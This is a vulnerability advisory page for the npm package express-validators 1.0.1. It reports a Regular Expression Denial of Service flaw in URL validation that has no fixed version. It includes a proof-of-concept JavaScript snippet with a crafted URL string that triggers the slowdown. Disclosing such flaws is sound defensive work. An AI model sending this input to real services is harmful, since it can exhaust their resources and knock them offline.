express-validators@1.0.1 vulnerabilities

Express framework json object(req) validator.

Direct Vulnerabilities

Known vulnerabilities in the express-validators package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

express-validators is an Express framework json object(req) validator.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.

POC:

var expressValidators = require("express-validators");
var Obj = {
    urlValue: "http://--:$$@------------------------------------------------------------------------------------------------------------------------!",
};

var rules = {
    "urlValue": "url",
};

var messages = {
    urlValue:{
        url: "Please enter a valid url address."
    }
};

expressValidators.validator(Obj, rules, messages, function (err, validated) {
    if (validated.fails) {
        console.log(validated.getErrors)
    }
})

How to fix Regular Expression Denial of Service (ReDoS)?

There is no fixed version for express-validators.

*